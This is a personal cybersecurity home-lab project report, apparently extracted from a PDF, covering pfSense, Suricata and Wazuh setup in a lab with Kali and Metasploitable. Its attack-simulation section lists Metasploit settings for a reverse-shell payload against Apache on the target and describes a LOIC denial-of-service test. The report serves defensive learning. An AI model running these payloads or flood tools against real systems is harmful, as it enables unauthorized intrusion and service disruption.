Cybersecurity Homelab Project
Cybersecurity Homelab Project
PROJECT
2024
Abhishek Kanti
Page 1 of 28
Cybersecurity Home Lab Project 2024
Table of Contents
1. Abstract
2. Introduction
3. Network Architecture
4. Project Objective
5. Lab Setup
▪ Virtualization Setup
▪ Network Configuration
6. Firewall and IDS Configuration
▪ PfSense Firewall Setup
▪ Suricata IDS/IPS Setup
7. Setting up Wazuh for Monitoring.
Page 2 of 28
Cybersecurity Home Lab Project 2024
Abstract
This project involves the creation of a cybersecurity home lab designed to simulate real-world
scenarios for both offensive and defensive security practices. The lab is composed of the following
key components: Kali Linux as the attacker machine, Ubuntu with Wazuh for monitoring and
logging, PfSense as the firewall to regulate network traffic, Windows Active Directory for domain
management, and Metasploitable as the target vulnerable system.
The primary objective of the lab is to gain practical experience in implementing security solutions
and identifying potential threats. Key activities include detecting Nmap stealth scans using custom
Suricata IDS rules, conducting vulnerability scans, and monitoring file integrity using Wazuh. This
project integrates multiple tools and technologies to demonstrate the interaction between offensive
tactics, monitoring solutions, and defensive mechanisms, providing hands-on experience in building
and managing a secure network infrastructure.
By successfully completing this project, I have developed essential skills in penetration testing,
intrusion detection, log management, vulnerability assessment, and network security, enhancing my
practical understanding of cybersecurity concepts in a controlled environment.
Page 3 of 28
Cybersecurity Home Lab Project 2024
Introduction
The Cybersecurity Home Lab Project is a practical initiative aimed at replicating real-world network
environments to gain hands-on experience in implementing and understanding security tools and
concepts. This project is designed to simulate offensive and defensive cybersecurity scenarios,
providing insights into how attackers exploit vulnerabilities and how defenders monitor, detect, and
mitigate threats.
The lab is built using five primary components:
1. Kali Linux: An attacker machine used for penetration testing, reconnaissance, and simulating
real-world attacks.
2. PfSense Firewall: A robust open-source firewall solution used to filter traffic and enforce
network security policies.
3. Windows Active Directory (AD): A domain controller for user authentication and policy
enforcement in a simulated corporate network environment.
4. Ubuntu with Wazuh: A monitoring system that logs events, performs vulnerability
assessments, and ensures file integrity.
5. Metasploitable: A deliberately vulnerable machine used as the target for exploitation and
testing.
The project's key focus areas include:
• Implementing an Intrusion Detection System (IDS) using Suricata to detect and log
suspicious activity such as Nmap stealth scans with custom rules.
• Setting up Wazuh for real-time monitoring of log data, file integrity, and vulnerabilities
across the network.
• Configuring a firewall with rules to block unauthorized access and secure inter-machine
communications.
This home lab bridges the gap between theoretical knowledge and practical application, enabling
the user to learn offensive tactics, defensive measures, and the importance of integrating multiple
tools for network security. It serves as a foundation for understanding cybersecurity workflows in
controlled environments, preparing the individual for real-world challenges in the field.
Page 4 of 28
Cybersecurity Home Lab Project 2024
Network Architecture
The network architecture of the Cybersecurity Home Lab is carefully designed to simulate a real-
world environment for studying network security, monitoring, and offensive-defensive interactions.
The following diagram illustrates the setup:
Page 5 of 28
Cybersecurity Home Lab Project 2024
Page 6 of 28
Cybersecurity Home Lab Project 2024
Summary
This layered architecture ensures a controlled environment where network traffic can be monitored,
attacks simulated, and security tools tested. It provides isolated virtual switches for each role,
allowing better segmentation and replication of enterprise-grade network setups. This design
enables:
• Effective penetration testing.
• Centralized logging and monitoring.
• Network traffic filtering and intrusion detection using tools like Suricata and Wazuh.
Page 7 of 28
Cybersecurity Home Lab Project 2024
Project Objective
The primary objective of this Cybersecurity Home Lab project is to design and implement a secure
virtualized environment for hands-on learning and testing of cybersecurity concepts. The goal is to
simulate a real-world network with various components, such as attacker machines, vulnerable
targets, and security monitoring systems, in a controlled lab setup.
Key objectives of this project include:
1. Simulate Real-World Cybersecurity Scenarios:
o The project aims to recreate a realistic cybersecurity environment to help understand
the interactions between different devices, firewalls, and intrusion detection
systems. By simulating attacks like Nmap scans and unauthorized access attempts,
the lab provides an ideal setting for testing detection and defense strategies.
2. Network Security and Traffic Monitoring:
o Set up and configure a Firewall (PfSense) and Intrusion Detection System (Suricata)
to monitor traffic, block unauthorized access, and detect suspicious activities such as
Port Scanning and DDoS attacks. Custom detection rules for Nmap stealth scan
detection are implemented to sharpen detection capabilities.
3. Vulnerability Management:
o Through the integration of tools like Wazuh (in the monitoring machine), the lab
helps test the effectiveness of security monitoring systems in detecting
vulnerabilities, suspicious activities, and file integrity issues. This enables hands-on
experience with vulnerability scanning, network defense, and system hardening
techniques.
4. Practice and Learn Cybersecurity Techniques:
o Provide a platform for users to learn about key cybersecurity techniques, including
network segmentation, firewall rules, intrusion detection, and proactive defense
mechanisms. It is designed to offer practical exposure to different tools and
methodologies used in the industry.
5. Develop Hands-On Skills in a Safe Environment:
o The home lab allows for the safe execution of offensive techniques (such as
penetration testing and vulnerability assessment) on Metasploitable, an
intentionally vulnerable machine, while protecting other machines through defensive
strategies implemented in PfSense and Suricata. This hands-on experience bridges
the gap between theory and real-world applications of cybersecurity practices.
Page 8 of 28
Cybersecurity Home Lab Project 2024
Page 9 of 28
Cybersecurity Home Lab Project 2024
Lab Setup
Virtualization Setup
Setting up the virtualization environment is a crucial part of building the cybersecurity home lab.
The steps outlined below describe the process of configuring the virtual environment using
VirtualBox, although other platforms like VMware or Hyper-V can also be used.
1. Host Machine Setup
• Requirements:
o A system with at least 16 GB of RAM (recommended), multi-core CPU, and SSD
storage.
o Operating System: Windows, Linux, or macOS.
• Install VMware Workstation Pro:
o Visit the official VMware website and download the latest version compatible with
your operating system.
Page 10 of 28
Cybersecurity Home Lab Project 2024
Page 11 of 28
Cybersecurity Home Lab Project 2024
Page 12 of 28
Cybersecurity Home Lab Project 2024
Page 13 of 28
Cybersecurity Home Lab Project 2024
o Ensure that only allowed traffic passes, while other connections are blocked.
2. Testing IDS Rules:
o Perform an Nmap scan from Kali Linux to simulate an attack.
o Check if Suricata detects the SYN stealth scan (based on the custom rule) by looking at
the Suricata logs in PfSense.
3. Review IDS Alerts:
o Navigate to Status > Suricata > Alerts to see triggered alerts. You should see logs for
detected scan attempts or any suspicious activity.
4. Enhancing IDS with File Integrity Monitoring (Optional)
• For a more comprehensive IDS setup, you can enable File Integrity Monitoring (FIM) with
tools like Wazuh to track changes to critical files and configurations.
• The monitoring system can alert you to unauthorized changes, adding another layer of
security to your lab setup.
Page 14 of 28
Cybersecurity Home Lab Project 2024
The objective of setting up Wazuh in this cybersecurity home lab is to enhance the security posture
by providing a monitoring and alerting system for detecting malicious activities and security
breaches. Wazuh will act as a Security Information and Event Management (SIEM) system to help
monitor the logs and provide real-time alerts for any suspicious events across the network.
Prerequisites:
1. Ubuntu Machine for Wazuh Manager
2. Wazuh Agent installed on all other machines (Kali, Metasploitable, Windows, etc.)
3. Working Internet Connection
4. Sudo Privileges on the Ubuntu System
Procedure:
1. Install Wazuh Manager on Ubuntu: Wazuh Manager is the core component of the Wazuh
system, responsible for collecting logs, analyzing events, and triggering alerts. It should be
installed on a dedicated monitoring machine (in this setup, Ubuntu).
o Step 1: Add the Wazuh repository to your system.
o curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | sudo apt-key add -
o sudo apt-get install -y curl apt-transport-https
o echo "deb https://packages.wazuh.com/4.x/apt/ stable main" | sudo tee
/etc/apt/sources.list.d/wazuh.list
o Step 2: Update the package list and install Wazuh Manager.
o sudo apt-get update
o sudo apt-get install wazuh-manager
o Step 3: Start and enable the Wazuh Manager service.
o sudo systemctl enable wazuh-manager
o sudo systemctl start wazuh-manager
o Step 4: Verify the installation and check the status of Wazuh Manager.
o sudo systemctl status wazuh-manager
2. Install Wazuh Agent on Other Machines (Kali, Metasploitable, Windows, etc.): The Wazuh
agent is installed on the client machines to collect logs and send them to the Wazuh Manager.
Page 15 of 28
Cybersecurity Home Lab Project 2024
Page 16 of 28
Cybersecurity Home Lab Project 2024
o Custom rules can also be added to enhance detection capabilities, such as detecting
specific scans (e.g., Nmap).
5. Integrating Wazuh with Kibana for Visualization (Optional but Recommended): To visualize the
alerts and logs, you can integrate Wazuh with Kibana, which provides a dashboard for real-
time log analysis and event monitoring.
o Step 1: Install Kibana on your Ubuntu machine:
o sudo apt-get install kibana
o Step 2: Configure Kibana to connect to Elasticsearch and Wazuh by editing the
kibana.yml configuration file.
o Step 3: Access Kibana through a browser (usually on port 5601) to view and interact
with the logs and alerts coming from the Wazuh Manager.
Verification:
• Once the agents are installed and connected, generate some test traffic, such as using Nmap
from the Kali machine, or performing vulnerable actions on Metasploitable.
• Wazuh should trigger alerts based on the activities and you can view them in the Kibana
dashboard or directly in the Wazuh Manager logs.
By following these steps, you will have successfully set up Wazuh to monitor the logs from various
machines in the home lab, helping detect suspicious activities and providing a comprehensive view of
your network's security status.
Page 17 of 28
Cybersecurity Home Lab Project 2024
Page 18 of 28
Cybersecurity Home Lab Project 2024
Page 19 of 28
Cybersecurity Home Lab Project 2024
Page 20 of 28
Cybersecurity Home Lab Project 2024
o set RPORT 80
o set PAYLOAD linux/x86/shell_reverse_tcp
o set LHOST 10.0.0.1
o run
This command sets up a reverse shell payload that will attempt to exploit the Apache vulnerability
on the target machine.
o Step 4: Execute the attack and observe the outcome. If successful, Metasploit will
provide you with a shell on the target machine.
3. IDS Detection (Suricata on pfSense):
o Step 1: Simulate a network scan (e.g., an Nmap scan) from Kali Linux while Suricata
IDS is running on pfSense.
▪ Suricata should trigger alerts for suspicious activities, such as an Nmap SYN
Stealth Scan.
▪ Example: An Nmap scan might generate an alert if it exceeds the threshold for
number of packets sent per second (custom rule for stealth scan).
o Step 2: Check pfSense for Suricata alerts.
▪ Navigate to Status > System Logs > Suricata in the pfSense dashboard to view
any triggered alerts related to the scan.
o Step 3: Review the alerts generated in Suricata for the specific attack pattern (e.g.,
Nmap SYN scan or other port scanning attempts).
4. Simulating a DOS Attack:
o Step 1: Use LOIC (Low Orbit Ion Cannon) or similar tools to simulate a Denial of
Service (DoS) attack against a target machine.
▪ Start LOIC and configure the target IP and port.
▪ Launch the attack and monitor the affected machine's behavior (e.g., whether
it becomes unresponsive).
o Step 2: Check the firewall and IDS logs for detection of the DoS attack.
▪ Suricata should ideally detect the attack if configured with appropriate rules
for DoS signatures.
5. Testing Attack Mitigation:
o Step 1: After an attack simulation, analyze the defense mechanisms such as IDS
alerts, firewall logs, and system performance.
Page 21 of 28
Cybersecurity Home Lab Project 2024
o Step 2: If any attack goes undetected, consider fine-tuning the IDS rules, firewall
settings, or other security configurations (e.g., rate limiting or IP blacklisting).
Conclusion
The cybersecurity home lab project successfully integrates various components to simulate a
realistic, multi-layered defense environment, providing a hands-on experience of modern network
security. The project’s key objectives were achieved, including setting up and configuring Kali Linux
as an attacker machine, Ubuntu for monitoring with Wazuh, a pfSense firewall, and a Windows
Active Directory machine. Additionally, a Metasploitable machine was utilized for vulnerability
testing, and IDS was configured using Suricata with custom rules designed to detect network attacks
like Nmap stealth scans and file integrity violations.
The implementation of Suricata IDS provided essential monitoring capabilities, and the
customization of rules allowed for more accurate attack detection, especially in cases of
reconnaissance, scanning, and exploitation attempts. This setup also highlighted the importance of
network segmentation, centralized monitoring, and the ability to test various security tools and
protocols under controlled conditions.
Moreover, the integration of Wazuh for vulnerability management and log monitoring, along with
the simulated network scanning and attack scenarios, demonstrated how a proactive monitoring
and response strategy can bolster a network’s defense mechanisms. The results from these
configurations, along with Suricata’s alerting capabilities, reinforced the value of having a robust IDS
system that can effectively detect and mitigate potential security threats.
Overall, this project not only provided practical knowledge in configuring a cybersecurity home lab
but also emphasized the importance of continuous learning and testing in a real-world security
environment. The hands-on approach enabled the application of various security concepts such as
attack detection, threat mitigation, and vulnerability management, laying the foundation for more
advanced security practices in the future.
Page 22 of 28
Cybersecurity Home Lab Project 2024
References
1. Suricata Documentation
2. Nmap Documentation
3. Metasploit Documentation
4. Wazuh Documentation
5. pfSense Documentation
6. Kali Linux Documentation
7. Windows Server Documentation
8. VirtualBox User Manual
9. OWASP Top Ten
10.CIS Benchmarks
Page 23 of 28
Cybersecurity Home Lab Project 2024
Screenshots
1.VMware
2.Pfsense
Page 24 of 28
Cybersecurity Home Lab Project 2024
Page 25 of 28
Cybersecurity Home Lab Project 2024
Page 26 of 28
Cybersecurity Home Lab Project 2024
6. Wahuz Dashboard
Page 27 of 28
Cybersecurity Home Lab Project 2024
Thank You
Page 28 of 28